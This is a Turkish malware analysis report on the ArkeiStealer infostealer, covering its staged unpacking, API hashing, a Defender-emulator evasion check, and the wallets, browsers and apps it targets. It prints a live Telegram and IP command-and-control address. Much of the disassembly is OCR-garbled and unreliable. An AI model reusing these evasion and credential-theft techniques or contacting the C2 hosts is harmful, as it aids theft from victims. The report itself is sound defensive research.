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On Bakis

Ik olarak Mayis 2018 civari goriilen ArkeiStealer, Browserlardan kaydedilmis parola
verilerini, kripto para cuzdanlarini, ve saldirganin belirttigi yoldaki, eslesen dosyalari
sizdirmaktadir. <# Ardindan elde ettigi verileri sikigtinp saldirganin paneline

yuklemektedir.

Syscoin Cryptocurrency'nin GitHub hesabini ele gegiren bir hacker, orijinal Windows
Client'ini ‘ArkeiStealer zararlisini iceren versiyonu ile degistirdi. Syscoin geligtiricileri
degistirilen versiyonu . indiren Kkisilerin sistemlerinin malware ile enfekte olmus

olabilecegi-konusunda uyarida bulundu.
Bu kot amagcli yazilimin bulastigi bilgisayarlarin;

e Kripto para clizdanlarini hedeflemekte,

e Browser Cookilerini-hedeflemekte,

e Password Authentication uygulamalarindaki parolalari hedeflemekte,
e Bazi masaustu uygulamalarinin girig bilgilerini toplamakta,

e Bilgisayar hakkinda bilgi toplamakta,

e Masaustundeki ve klasorlerindeki metin belgelerini kopyalamaktadir.
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dTpdzgzlHo.exe Analizi

Adi dTpdzgzlHo.exe

MD5 b30d4481f8a571a0b85bafc8dda3aa8a

SHA256 7fda9416cf43006f02c64ff317b1066f74ffc58658f6097adc18ed5af7
ee5cfc

Dosya Turu PE32/EXE

Genel Bakis

incelemis oldugumuz Arkei zararlisi GlobalAlloc API ile bellekte alan ayirip daha

sonra dynamic resolving ile VirtualProtect APl cagirarak ayrilan alana RWX izinleri

vermektedir. Sonrasinda bu adrese ¢agrilarak Stage-2’ye gecmis bulunmaktadir. Asil

islemlerin disinda. analizi'karmasiklastirmak adina<bazi anlamsiz APl ve stringleri

kullanmaktadir.

Zararl’nin hedefledigi materyaller:

Electrum
Electrum-LTC
Exodus
ElektronCash
MultiDoge
Jaxx_Desktop 0ld
Atomic

Binance

Coinomi

Monero

TronLink
MetaMask
BinanceChainkallet
Yoroi
MNiftylallet
MathlWallet
Coinbase

Guarda
EQUALKWallet
JaxxLiberty

Sekil 1- Zararli’nin hedefledigi Kripto Ciizdan Listesi

BitAppWallet
ikallet

Wombat

MellCx
GuidiWallet
RoninWallet
Necline
Cloverkallet
Ligqualitylallet
Terra Station
Keplr

Sollet
Aurolallet
Polymeshlallet
ICONex

Harmony

Coingsg

EVER Wallet
KardiaChain
Rabby

Phantom
Bravelallet
Oxygen(Atomic)
PaliWallet

BoltX
Hdefilallet
Mamilkallet
MaiarDeFilallet
HavesKeeper
Solflare
Cyanollallet
TezBox

Temple

Goby

Daedalus Mainnet
Blockstream Green
Wasabi Wallet
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MicrofostEdge Vivaldi Torch

Mozilla Firefox CocCoc Comodo Dragon

Pale Moon TorBro Browser Epic Priwvacy Browser
Google Chrome Cent Browser Tencent

Chromium Chedot Browser 75tar

Amigo Brave_01d 368 Browser
Q0Browser Opera OperabX

CrytoTab Browser

Sekil 2- Zararli’nin i Browser Listesi

Authy

GAuthAuthenticator

Trezor Password Manager

Sekil 3- Zararl’nin Hede fledigiAuth

Thunderbird
Telegram

Discord

Jaxx_Liberty *
Sekil 4- Zararli’nin Hedefledigi Desktop App jon I




A
y

Detayl Analiz

Dikkat dagitmak ve analiz slrecini uzatmak igcin bazi anlamsiz stringler ve null

parametreli API'ler kullaniimistir.

.text

.text
.text
.text

.text
.text
.text

.text
.text
.text

.text
.text
.text

.text
.text
.text

.text

-text:
:00405B2F
100405831
100405836
-text:
:00405B3A
:00405B3C
100405843
-text:
:00405B46
:00405B48
:00405B4F
-text:
100405852
:00405B5D
100405862
-text:
:00405B6C
:00405B6D
:00405B6F
-text:
:00405B7A

100405828

00405B2D

00405B38

00405844

00405851

00405B65

00405B74

call
push
call
push
call
push
push
lea

push
call
push
lea

push
push
mov

call
add

lea

push
push
push
call
mov

esi ; FreeConsole

0 ; ExeName

edi ; GetConsoleAliaseslengthi
offset String ; "birazupululowuvurerozag"
ebx ; AddAtomA

0 ; iMaxLength

0 ; 1pString2
edx, [esp+@B2Ch+Buffer]

edx ; 1pStringl
ebp ; lstrcpynld

36h ; '’ ; Size

eax, [esp+0@B28h+var 964]

0 ; Val

eax ; void *

[esp+8B36h+hMem], @

_memset

esp, OCh

ecx, [esp+@B24h+hMem]
ecx s ApEE

0 ; hlnd
offset szName ; "koku"

ds:CommConfigDialogA
edx, dwBytes

Sekil 5-Analizi zorlastirmak igin kullanian bazi kod érnekleri]

API hashing teknigi ile bazi APl'lar (IAT tablosundan gizlenmigtir. Fakat buradaki

APT’ler kullaniimak i¢in degil dikkat dagitmak icin yazilmigtir.

Ldext:
dext:
dext:
Text:
Ldext:
Ldext:
dext:
dext:
Text:
Ldext:
LText:
Ldext:

aa4E5882
Ba4a5834A
aa4a5892
aa4a5a90
aadasass
2485863
Ba48586E
aa4a58Ce
2a4a5a801
eadasa0c
ga4acacd
Ba4858EF

moNs
moNs
mons
mons
moNs
moNs
moNs
mons
mons
moNs
moNs
mons

[espteB24h+var BBC], 4AEDG444h
[esp+BB24h+var AE4], 4A564368h
[esp+eB24h+var_ 9447, 548D2701h
[espt+eB24h+var_A34], 3C1C3EETH
[esp+eB24h+var 9EC], 479851ECh
[esp+eB24h+var_ ASC], 2AV2ZOFCEh
[espt+BB24h+var AAB], S@7F2BEEh

Sekil 6- Ardi ardina hashlenmis API'lerin bir kismi.
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A

Zararl, Stage-2 gegcisi icin GlobalAlloc API ile heap bellekte alan ayirmaktadir.

.text:0904050831 mowv word_442682, ax

-text: 00405037 mowv eax, dword_ 415094

.text:9040503C push ecx ; dwBytes

.text:09040503D mowv edx, 65h ; 'e’

-text:00405042 push ebp ; uFlags

-text: 090405043 mowv word_44267A, dx

. text:9040504A mowv dword_442FE8, eax

. Text::0040504F call ds:GlobalAlloc ; 1ndirect Call Near Procedure
. text 00405055 mowv _dword_4425C4 _heapmem, eax

. text:0040505A call d_sub_494E99_virtualproloadlid ; Call Procedure
-Text: 04505 F mowv edl, ds:GetShystembDetaultlLanglD

-text 90405065 mowv ebx, ds:GetSystemDefaultLCID

- text:0040506B xor esi, esi 3 i

.text:0040506D lea ecx, [ecx+@] 5

Sekil 7- Shelleode icin heap bellektealan‘ayriimaktadir.

Dynamic APl Resolving yaparak ayrilan alana VirtualProtect API ile RWX izinleri

verilir.
-text:00404E1D mow ProcMame, 56h
-text:00404E24 mow byte_A4423C1,
-text:00404E2B mowv byte_4423C2,
-text:00404E31 mowv byte A4423C7,
-text:00404E38 mowv byvte_4423CD,
-text:00484E3E mow byte A4423CE,
.text:0404E45 mowv bwvte_4423C3, 1
-text:P0404EAB mowv byte_4423C4, 5h ; ‘u’
-text:00404E52 mowv byte_A4423C5, 1h ; 'a°
-text:0404E59 mov byte_4423C6, Ch ; "1°
-text:00404EG60 mow byte A4423C8, 1
.text:0404E66 mov bvte_4423C9, Fh ; "o’
-text:90404E60D mow byte A4423CA, 1
.text:0404E73 mov bwvte_4423CB, 5h ; "e’
-text:P04A0AETVA mov byte_4423CC, 3h ; "¢’
-text:00404E81 fjcall ds:GetProchddress ; Tholrecy Call MNear Procedure
-text:0404E87T fmov d_wvirtualprotect, eax
-text:00404ESC fmowv [esp+8+var 8], 20h ; ° '
.text:0404E93 Jadd [esp+8+var_8]1, 2@h ; " ° ; dd
-text:00404E97 fmowv ecx, [esp+8+var_ 8]
. text:0404E9A fmov edx, dwBytes
-text:P0404EAQ flea eax, [esp+8+wvar_4] ; Load Effective Address
.text:@0404EA4 fpush eax
-text: 0404EAS fmov eax, Lﬂword_AdZSCd_heapmem
-text:00404EAA push ecx
.text:00404EAB push edx
text:90404EAC fpush eax
-text:@0404EAD lcall d virtualprgtect . IndirectfCall Mear Procedure
-text:P0404EB3 add esp, 8 ; Add
-text:00404EBS retn ; Return MNear from Procedure
-text:00404EB6 d_sub_4084E00_wvirtualproloadlib endp
. text:00404EBG

Sekil 8- Bellekte ayrilan alan igin RWX izinleri verilir.

I .



GlobalAlloc ile ayrilan heap bellek igerisine shellcode yazilir.

edx, dword ptr ds:[442FE4 ]

esi,esi

cmp edx,ebp

405AB2 7fd&1&f43w€foz:&ﬂnmmf7lf
8830 90104000 <&GetL

8098 00000000

o] 00405AAB 8815 E42F4400
33F6

G 3 v 4 2FE
89542 10§, edx
B8 38200800 eax,n2038

014424 10 dword ptr ss: [esp-wl.eax
884424 10 mov eax,dword ptr ss: ! g 0!
8B15 C4254400 mov edx,dword ptr ds:[4425C4
8A0C30 mov cl byte ptr ds: eax-esi
880C16 byte prr ds [es <edx

8815 E42F4400 x dword ptr ds:[44 Fu]
83FA 33 44:'p’

004425¢4 : "x(Q"

r - ;; 12 jmh"ga9416cf43006f02¢64ff317h1066f"f
H ush ebp

| 808424 28030000 ea eax,dword ptr ss:fesp-325]

| Q04035AF6 50 push eax

{ O0405AF7 55 ush ebp

! FFD7

i 8815 E42F4400 mov edx dword ptr ds:[442FE4)

- 46 1n¢ es1

3BF2
| & 04 ~ 72 BB jb 7fda§416cfl!006f02¢64ff317b1066f7‘ﬂ
L. e 00 5 g:;s 8C104000 mov esi,dword ptr ds: direo:onso]o%

0 as,

mov edi, »dword ptr ds:[<&GetConsoleAl
881D mov ebx,dword ptr ds:[<d&AddAtomA>]
8820 84104000 mov ebp, " dword ptr ds:[<&lstrcpynw>]

Sekil 9- Sh ksiyon.

izin verilen alan ¢agrilarak Stage-2'ye

M
loc_4@5D5E:
sub dword ptr [esp+1018h+ftn.BlendOp],
jnz short loc_405D82
|
]
e =
mov eax, _dword4425C4 heapmem
mov dword_44266C, eax
call eax ; _dword4425C4 heapmem
pop edi
pop esi
pop ebp
xor £ax, eax
pop ebx
add esp, 1088h
retn 10h
_whinMain@16 endp

Sekil 10- Stage-2 gegisinin yapildigi ¢agri.




Stage-2 Analizi

Adi -

MD5 29ccd532807b266e33f42bef61498d3c

SHA256 | €29650631a2¢c016d5ac749561d801254df5dc360884fe98ecce82d5979407441

Dosya | Binary

Taru

Genel Bakis

Stage-2 asamasinda APl Hashing ve Dynamic Resolvingteknikleri kullanilarak

APT’ler elde.edilmistir. Bu sayede analizi zorlastirmak hedeflenmistir. Elde edilen

APl’ler yardimi ile 0x400000 ve 0x410000 adreslpagelere asil zararli faaliyetlerinin

baglayacadi EXE kopyalanir. EXE'nin bulundugu alana RWXizinleri verilir. Program

entrypointe atlayarak Stage-3 gegisini saglar.

Detayli Analiz

Dynamic Resolving yapabilmek icin gerekli APl’ler APl Hashing yontemiyle elde

edilir. Sekil-2’de, karsilastirilacak hash degerlerinin sirasiyla API, DLL ismi olacak

sekilde ilgili fonksiyona pushlandidi ve return degeri olarak API adresi aldigi goralir.

884D 08 mov ;Z;zdﬁord ptr ss:[febp+8]

°

e| 8941 08 mov dword ptr ds:[ecx+8],eax

e| 68 86570D00 push D5786

®| 68 884E0DOO push D4ESS8

®| E8 1A000000 €all 5128rB sub_8FB

®| 8945 F8 mov dword ptr ss:[ebp-8J,eax dword ptr [ebp-8]=<kernel32.LoadLibrarya>

®| 68 FA8B3400 push 348BFA

o| 68 884E0D00 push D4E88

o E8 08000000 €all 5128FB

e| 8945 ccC mov dword ptr ss:[ebp-34],eax dword ptr [ebp-34]=<kernel32.GetProcAddress>
>——e} E9 B5000000 jmp 512980

e| 55 push ebp

Sekil 11-API Hashing teknigi ile hashlenmis API'ler.
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API Hashing fonksiyonu, kendi icerisinde hashleme ve kargilastirma iglemini yapan

fonksiyonu iki kere kullanmaktadir. ilk kullaniminda OxD4E88 hash degeri ile
Kernel32.dIl'in adresi bulunur. ikinci kullaniminda ise istenilen API'nin adresi elde
edilir. Hash algoritmasi olarak API'nin ismindeki harfler tek tek alinip 60 ile OR iglemi
yapilir ve 1 bit solakaydirilir. API'lerin hash dederleri karsilastirilir.

. 33DB xor ebx,ebx
. 33D2 xor edx,edx
. 8845 08 mov eax,dword ptr ss:[[ebp+E] [ebp+8] : "acquiresrRwLockshared”
. 8A10 mov dl1,byte ptr ds:[eax] eax: "gquiresRwLockshared”
. 80CA &0 or dl,60
—>e 03DpA add ebx,edx
. D1E3 shl ebx,1
. 0345 10 add eax,dword ptr ss:[[ebp+10]
. 8A08B mov cl,byte ptr ds:[eax] eax: "guiresRwLockshared”
. 84C9 test cl,cl
° EQ EE loopne 4E298B
. 33c0 XOr eax,eax eax: "gquiresrwLockshared"
. 864D 0OC mov ecx,dword ptr ss:[lebp+c]
. 3BD9 cmp ebx,ecx
---8 « 74 01 je AEZ29AT
] 40 inc eax eax: "quiresRWLockShared"
Y Sa nnn ary

Sekil 12+ Hash/ng Algoritmast.

API Hashing'den elde edilen API'ler ile Dynamic Resolving yapilir.

8365 c8 00 [and dword ptr ss:febp-35],0
8045 DO lea eax,dword prtr :febp- 303
50 push eax eax: "kernel32.d411"
8845 08 mov eax,dword ptr s [r—Lu a3
FF50 10 €l dword prr ds: [e 1 call LoadLibrarya
8945 F4 mov dword ptr [-—*r‘ ] eax dword ptr [ebp-C] = kernel32.d11 handle degeri
8845 c8 mov eax,dword p s
C74405 DD 476C6F62 mov dword ptr ss: 476C6F62 = Glob
8845 C8 mov eax,dword
83c0 04 add eax,4
8945 ¢8 mov dword ptr ss:f
8B45 C8 mov eax,dword :
C74405 DO 616C416C mov dword ptr ss:feb 616C416C = alal
8845 C8 mov eax,dword
83C0 04 add eax,4
8945 c8 mov dword ptr ss:feb
8845 C8 mov eax,dword s
C74405 DO 6CEF6300 mov dword ptr 55 6C6F63 « loc
8B45 C8 mov eax,dword
83Cc0 04 add eax,4
8945 C8 mov dword ptr
8B45 C8 mov eax,dword
C64405 DO 00 mov byte ptr ss:
8365 ¢8 00 and dword prtr
8D45 DO lea eax,dword
50 push eax eax:"Globalallec”
FF75 F4 push dword ptr ss kernel32.d11 handle degeri
8845 08 mov_eax,dword ptr <

) FF50 14 €&l dword ptr ds:[e: call GetProcaddress

| 002 74 884D 08 mov ecx,dword ptr : 53

002A2477 | 8941 18 | mov dword ptr df'[ecx lh] eax |Globalalloc adres

2A2 8845 8 mov eax, dnord ptr s: :ifiebp-35%
‘ m »

Sekil 13-Dynamic Resolving.




GlobalAlloc
GetlLastError

5leep

VirtualAlloc
CreateToolhelp325napshot
Module32First
CloseHandle

Kernel32.dll
VirtualAlloc
VirtualProtect
VirtualFree
GetVersionExA
TerminateProcess
ExitProcess
SetErrorMode

Sekil 14-C6

VirtualAlloc AF ) ' sine farkli bir

adreste bulun

©| 01800240 tr 55
o] 01800250 8945 FO moy dword ptr s5s:
o] 01800253 8365 pC 00 and dword ptr ss: ,0
o] 01800257 BBB5 SBFFFFFF mov eax,dword ptr ss: P - AS)
o] 01800250 OFB640 01 movzx eax,byte ptr ds:[eax+l
o] 01800261 85c0 test eax,eax
o] 01800263
o] 01800265 ush 0
®| 01B8D0267 ea eax,dword ptr ss:febp-24])
o 75 FO pus: md 14 of [eb) ]
. FF75 Fi pus ptr ss:febp-1 ebp-10]:"Mz"
. BB85 SBFFFFFF mov eax,dword ptr ss?‘eb -AS3
° FF70 D2 push dword ptr ds:[eaxs :'g
L] BB8S SBFFFFFF mov eax,dword ptr ss:febp-as)
° 7 83C0 3a add eax,ia
®| 01BD0O25 50 ush eax
o] 018D0O281 E8 E3070000 h 1BDOAGS
o] 018D0286 83c4 14 esp,14
——eo| 01800289 EB 43 Jmp 1800:
»@| 01BDO258 83A5 4BFFFFFF 00 and dword ptr ss:febp 88§,0
®|01800292| - EB OD jmp 1800
01800294 8B85 4BFFFFFF mov eax,dword ptr ss:flebp-s58]
01800294 40 inc eax
f B985 4BFFFFFF mov dword ptr ss:febp-05j,eax
8B85 SBFFFFFF mov eax,dword ptr ss:flebp-a
888D ABFFFFFF mov ecx,dword ptr ss:febp- 88
2 ELS cmp ecx,dword ptr ds:[eax+2]
----- 73 1c jae 18D02CE
8845 FO mov eax,dword ptr ss:febp-10 [ebp-10] : "mz"
0385 48FFFFFF add eax,dword ptr ss:febp-88
8B8D SBFFFFFF mov ecx,dword ptr ss:febp-as
038D 48FFFFFF add ecx,dword ptr ss:febp 85
BA49 3a mov c1,byte ptr ds:[ecx+3a]
eene m—nss bertn mer e fosed -7

o5 sotrs_| &9 vt |

.
o
S
=
=
=

00 00|00 00 0O DO 00|00 00 00 00|

00 0000 00 00 00 00(00 00 00

00 0000 00 00 00 00|00 00 00 00)..0eeieeuiannans
00 00|00 00 00 00 00(00 00 00 Q0] ..evuuvenansanns
00 0000 00 00 00 00[{00 00 00 00)..vevuvanusanena
00 00|00 00 00 00 00{00 00 00 00]..covreevaananns
00 00|00 00 00 00 00 (00 00 00

)
)
b
)
)
'
'
}
'
'
)
'
i
|
|
)
3}
}
'
}

Sekil 15- EXE opcodelarinin ayrilan bellege kopyalanmasi.




Ayrilan alan igerisine yazilan EXE’nin header kismi 0x400000 adresine yazilir. Kalan
kismi ise 0x410000 adresli pageye yazilir. Bu adreslere VirtualProtect ile RWX

izinleri verilir.

irtualProtect

£ Fl
O1BDOZED 8945 F4
01BDOZ2ES 8885 SOFFFFFF
018D02EF B985 BBFFFFFF
01BD02F5 8B85 SBFFFFFF
018D02F8 FF70 0A
O1B002FE 6A 00 pus’
01800300 FFBS SOFFFFFF us! dvn:u'd gtr 55 :flebp-80]
3090000 *

01800306
01800308 esp,C

A enndne s v dueed nee e Babe 10%

b1066 565876097 adcl8edsSat ee G a'-' -"""c'u

¥ Dokums | & tie1 | ie| Yerel Degigkenier

00 00 04 D0
00 00|40

Belirtilen EXE'nin bulundugu adres alant narak Stage-3 gegisi saglanir.

o] 018008F3 8908 d ptr ds:[eax],ecx
o] 01BDOSFS 837D DO 00 cm dword ptr 55 :jfebp-3
r----@| OLBDOSFI| ~ 74 07
{ @] 01BD0SFB FF75 BC ush ptr ss:febp-44 [ebp-44]:".text"
e| 018D0OSFE FF55 DO h dword ptr ss:ifebp-3 ExitProcess
o] 01800901 59 pop e
L-—-s@] 018DOS02 8B85 S8FFFFFF mov eax dword ptr ss:febp-as]
e| 01800908 8840 OE mov eax,dword ptr_ds: eax+e]
e| 01800908 B985 SCFFFFFF mov dword ptr ss:febp- ul.eax
o] 01800911 8B85 SCFFFFFF mov eax,dword ptr ss:
o] 018D0S17 0385 68FFFFFF add eax, ! dword ptr s52 ebp 98
| 01800910 €9 Teave
oijP
o] 01600820 6A 00 pus!
o] 01800922 6A FF push FFFEFFFF
o] 01800924 B8 62081875 mov eax,<kernell2. TerminateProcess>
o] 01800929 FFDO eax
o] 01800926 55 push ebp
o] 01BD092C 8BEC mov ebp,esp
o] M ennonc e3rr N8 cuh nen 10

Sekil 17- "jmp eax" komutu ile Stage-3 gecisi saglanir.




Stage-3 Analizi

' Adi -
MD5 55fe32533bf668b4ab25541e447ca34d

SHA256 | 1a3ed79a1c24f75567a4363bb86972353e2e2d50b66e37ed9b880cf37858aa32
Dosya PE32/EXE

Taru

Genel Bakis

Stage-3 kisminda. kullanicinin bilgisayarindan belirli kripto cuzdanlarindan Kkripto
para, bir¢ok-browserdan cookieleri, bazi _password managerlardanparolalarini,
browser uzerinde kayith kredi karti bilgilerini ve baz 'masaustu uygulamalarinin
kullanici bilgilerini ¢almaktadir. Bunun yaninda, bilgisayar 6zellikleri, masaustu ekran

goruntlsu ve masaustinde bulunan metin bilgilerini de okuyarak toplamaktadir.

Detayh Analiz

Zararl ilk olarak encode edilmis stringlerin ¢gézimlemesini yapmaktadir.

S Jgrrrmemimasa g aaash

.text:0138120C call d_sub_1271885 stringcozucu ; LoadlLibraryA
~text:91381211 push 8

~text:81381213 push offset aEckwShwt ; "ECKWGHWE'
~text:01381218 push offset abUW S 1= F- D E-
Ltext:01381210 mov ecx, esi

.text:8138121F mov lpProcName, eax

~text:91381224 call d_sub_1271885 stringcozucu ; lstrcatA
~text:01381229 push @Eh

.text:91381228 push offset abtasmbau2dnoyu ; "6TASMBALZDNOYU™
Ltext:81381230 push offset unk_13B435C

.text:81381235 mov ecx, esi

~text:81381237 mov lstrcathA_str, eax

~text:0138123C call d_sub_1271885 stringcozucu ; GetProcAddress
.text:81381241 push 5

.text:81381243 push offset afwtyu . CAWTYU"

.text:01381248 push offset wunk_13B43AC

.text:0138124D mowv ecx, esi

.text:0138124F mov d_dword_12BAF74 GetProchAd _str, eax
.text:81381254 call d _sub_ 1271885 stringcozucu ; Sleep
.text:01381259 push @Dh }
tawt - &1 371 IR nnch n¥ffeoat affoezaAfFlddIehrw - " AAED MR !

Sekil 18- Encoded stringlerin ¢éziimlenmesi.

I .



ISYVI4 : HALSTH

23831V JhonDoe
OT311R53HBSK : Loadlibraryd
ECKWGHWG, )@23U)#W : lstrcath
6TASMBAU2DNNOYU : GetProcfddress
AWTYU : Sleep
GGEAAFLDZRHRV : GetSystemTime
NAYSTL7BRLE ExitProcess
EXEWUBYDIXQZ25GMA : GetCurrentProcess
JHCUV1B35FCH1375Ch : VirtualAllocExNuma
GEYT12DIBTVES ! Virtualdlloc
MMBE21IQ56D : VirtualFree
3Y6VSR3IB4, *BIV2ACYcC : lstrcmpil
ZWALMOQIOM : LocalAlloc
3DY930TABQWWNKTS : GetComputerNamed
S55GI1EGKGZMW, TQL1(A,tyi»!; : advapi32.dll
TO339FCAEYDS : GetUsernameh
WW2KICTONQTU : kernel32.dll

Sekil 19- C6ztimlenendtringler:

Burada ¢6zimlenen

stringler APl ve DLL’lerden olusmaktadir. Dynamic Resolving

yapilarak APl'lerin adresleri elde edilir.

:@1289CAC
:@12B9C52
(@12B9C58
1@1289C59
(@12B9C5E
:@1289C61
:@12B9C66
:@1289C6C
t@1289C6E
t@12B9CT4
:@1289CTa
t@12B9CTF
:@1289CB1
L@12B9C87
(@1 289C8C
t@1289C02
t@12B9C08
:@12B9C9E
T@12B9CA3
(B12B9CAD
:@12B9CAF
:@1289CB5

Sekil 20- Dynamic Resolving.

lpProclame : lpProcMame (LoadLibraryA advapi32.dll handle icinm)
esi, ds:GetProcAddress

eax ; kernel32.dl]l handle icin

esi ; GetProcAddress ; Indirect 11
d_dword_12B4F74_GetProcAd_str ;
LoadLibrary_adres, eax

hModule ; hModule

esi ; GetProcAddre - ire
lstrcatA_str
GetProcAddress_adres, eax
hModule

eax

Sleep str

Istrcat_adres, eax

hModule

GetProcAddress_adres ;
GetSystemTime_str

Sleep_adres, eax

hModule

GetProcAddress_adres
ExitProcess_str

GetSystemTime_adres, eax
[T P . -

GetProcAddress api cagirilmak icin

BEL &

4
I .




Zararli GetComputerNameA ve GetUserNameA API ¢agrilari ile bilgisayar ve
kullanici adi isimlerini alir. Bilgisayar ismini HAL9TH, kullanici adi ismini JohnDoe ile
karsilastirir. Bu bilgisayar ismi ve kullanici adi ismi Windows Defender Emulator
tarafindan kullaniimaktadir. Bu kontrollere gore islem yapilarak Windows Defender

bypass aksiyonu alinmistir.

3 int result; // eax

1

3 result = stremp(GetUserNameA fonk(), (const char *)johndoe);
30 if ( !result )

71 {

3 result = strcmp(GetComputeriamed fonk(), (const char *)hal9th);
3 if ( lresult )

] result = ExitProcess_adres(@);

L}

2| return result;

3}

Sekil 21- Windows Emualator Bypass.

Programin devamindaki fonksiyonlarda Wallets, Ethereum, Electrum, Binance,

Mozilla vb. encode edilmis stringler dinamik analiz sirasinda teker teker

¢6zUmlenmigtir.

#| 0 BBCE mov ecx,esi

L A3 CB4D4400 mov dword ptr ds:[444DCB],2ax 00444DCE: &"Keystore", eax:"Ethereum\""
L EEB A3FCFFFF call 7fda9416ct43006T02cR4TT317b1066TT 4

. 6A DA push A

re 68 D48E4300 push 7fdag416cT43006T02C64TT317b1066T74]1438ED4: "CSIGOUMCOS™

L &8 CBBE4300 push 7Tdag416ct43006T02c64TT317b1066T74

. BBCE mov ecx,esi

. A3 74404400 mov dword ptr ds:[444D74],eax eax: "Ethereum’""

. EB BBFCFFFF call 7fdags41lect43006T02Ce4fT317b1066T T4

Sekil 22- Burada Ethereum’un hedeflendigi gériilmektedir.

.rdata:@136AD1@ aRavenCore db "Raven Core',®@ ; DATA XREF: sub_133D948+816%0
.rdata:@136AD1B align 4
.rdata:@136AD1C aDogecoin_® db '‘\Dogecoin\',®@ ; DATA XREF: sub_133D948+803t0o
.rdata:@136AD27 align 4
.rdata:@136AD28 aDogecoin db 'Dogecoin’,® ; DATA XREF: sub_133D948+7FEto
.rdata:@136AD31 align 4
.rdata:0136AD34 aBitcoin db '\Bitcoin\',®@ ; DATA XREF: sub_133D948+7EBto

Sekil 23- Burada ise Bitcoin ve Dogecoin'in hedeflendigi gériilmektedir.




Hedeflenen browserlar ile ilgili stringlerin ¢ozimlendigi gozlemlenmektedir.

8BCE mov ecx,esl

FF35 BO4E1ICO1 push dword ptr ds:[11C4EBO] 011C4EED: &\ Googley\Chrome'User pata'
EB CSEDFFFF €anl yeni - kopwya.119428C

8D45 7O Tea eax,dword ptr :[febp+70l

50 push eax

FF35 DO4CI1C01 push dword ptr ds:[11C4CDO] 011C4CD0: &"Chromium

SBCE mov ecx,esi

FF35 9C511C01 push dword ptr ds:[11C519C] 011C519C: &"\\Chromium'\User Data‘\"
EB AEEDFFFF €all yeni - kopya.119428C

8D45 70 lea eax,dword ptr ss:[ebp+7 0]

50 push eax

FF35 34501C01 push dword ptr ds:[11C5034] 011C5034:&"Amigo”

BBCE mov ecx,esi

FF35 BO4C1CO1 push dword ptr ds:[11C4CRO] 011C4CBO: &™)\ Amigo\\User Data"

EB 97EDFFFF £all yeni - kopya.119428C

8045 70 Tea eax,dword ptr ss:[Bebp+70l

50 push eax

FF35 204F1C01 push dword ptr ds:[11C4F20] 011C4F20:&"Torch

BBCE mov ecx,esi

FF35 704F1C01 push dword ptr ds:[11C4F70] 011C4F7D:&"™\\Torch\\User Data’

E8S BOEDFFFF €all yeni - kopya.119428C

8D45 70 lea eax,dword ptr ss:[ebp+70]

50 push eax

FF35 484F1C01 push dword ptr ds:[11C4F48] 011C4F48:&"vivaldi”

8BCE mov ecx,esl

FF35 F8521€01 push dword ptr ds:[11C52F8] 011C52F8: &\ \Vivaldi\\User Data

E8 G9EDFFFF €all yeni - kopya.119428C

8D45 7O lea eax,dword ptr ss:|[[ebp+70]

50 push eax

FF35 10521C01 push dword ptr ds:[11€5210] 011€5210:&"Comodo Dragon™

BBCE mov ecx,esi

FF35 404B1C01 push dword ptr ds:[11C4B40] 011C4EB40:&"\\Comodo™\Dragony\User Data‘\’\"
EB S2EDFFFF £all yeni - kopya.119428C

B8D45 70 lea eax,dword ptr ss:[@ebp+700

50 push eax

FF35 40511C01 push dword ptr ds:[11C5140] 011C5140:&"Epic Privacy Browser
BBCE mov ecx,esi

FF35 ES4E1C0O1 push dword ptr ds:[11C4EES] 011C4EE8:&"\\Epic Privacy Browser'\User Data\\"
EB 3BEDFFFF €all veni - kopya,

8D45 7O lea eax,dword ptr

50 push eax

FF35 4C4B1C01 push dword ptr ds:[ 011C4B4C: &"CocCocC

B8BCE mov ecx,esl

FF35 08511C01 push dword ptr ds:[11C5108] 011C5108: &\ \CocCoch\Browser\User Data\

Sekil 24- Hedeflenen_Brewseérlardan bazilaridir:

Thunderbird uygulamasinin kullanici bilgilerini hedefledigi gibi bunu Discord,

Telegram ve Jaxxliberty uygulamalari icinde kullanmaktadir.

FF1§ Far e
3 T1800641™
1 [«alsTrcars) o ; -
te 351 Qebo- 2ol
:[<Alstroats) -
04 ¥ ke 1

Sekil 25- Thunderbird uygulamasinin profil bilgilerini‘hedefledigi dizini ¢6ziimlemistir.

Programin fonksiyonlari igerisinde gorulen Telegram adresine bir HTTP istegi atilir,

gelen response igerisinde zararlinin iletisim'kurmak istedigi IP adresi elde edilir.

EE C98ZFFFF €all yeni - kopya.10243F3

BF 40300601 mov ed a.1063040
68 20AC0501 push yeni — 05AC2

83EC 1C sub esp,1C

SBC4 mov eax,esp

8965 EC mov dword ptr ss:[febp-14],esp [ebp-14]:&"https://t.me/myltgz"
50 push eax

8D4D F3 lea ecx,dword ptr ss:[febp-DJ
E8 6SD1FFFF €211 yeni - kopya.1029880
83EC 1C sub esp,1C

BEC4 mov eax, es

8965 E4 mov dword ptr ss:[ebp-i1c],esp

Sekil 26- Zararlinin ulasmaya ¢alistigi Telegram adresidir.




#[0138C100 E8 52D0FFFF €all yeni.1389227 :

e|0138C1D5|  83FB FF cmp eax,FFEFFFFF eax: "http://5.253.18.213:80" Channel Info HEIPS
—————— #|0138C1D8| - 74 29 je yeni.138C203

e|0138cipal 0345 08 add” eax,dword ptr ss:[ebp+§

®|0138c1DD]| 8D4D D4 lea ecx,dword ptr ss:[ebp-2C] [ebp-2c]:"http://5.253.18.213:80"

® 0138C1EQ 50 push eax eax:"http://5.253.18.213:80"

#|01368C1EL 53 ush ebx

#|0138C1E2 E8 OCB7FFFF h yeni. 1384983 i

#|0138c1E7 837D E8 10 cwp dword ptr ss:febp-18],10 MyLittleG

| 0138c1eB 8845 D4 mov eax,dword ptr ss:[ebp-2c] [ebp-2c]:"http://5.253.18.213:80" 1 subseriber

#|0138C1EE| v 73 03 :iae yeni.138c1F3

| 0138C1FO 8045 D4 ea eax,dword ptr s5:[lebp-2¢] [ebp-2c]:"http://5.253.18.213:80"

#|0138C1F3 804D B4 Tea ecx,dword ptr ss:[ebp-4c]

#|0138C1F6 51 push ecx

#|0138C1F7 56 push esi

#|0138C1F8 50 ush eax eax:"http://5.253.18.213:80"

#|0138C1F9 E8 7F420100 * yeni.13A047D

o|0138C1FE|  83c4 OC add esp,C tme/myltgz

Ei——”_

————— 78| 0138203 57 ush edi Link

#|0138c204 FF15 BOSE3DOL dword ptr ds:[<&1strienas]

#|0138C204 B9 40303C01 mov ecx,yeni.13¢3040

#|0138C20F 83F8 01 cmp eax,1 eax:"http://5.253.18.213:80" hello http:/5.253.18.213:80|
—————— #|0138C212| - 7€ 0D 31 yeni.138c221

#|0138c214 57 ush edi Description

#|0138c215 E8 4EBDFFFE yeni.1384F68

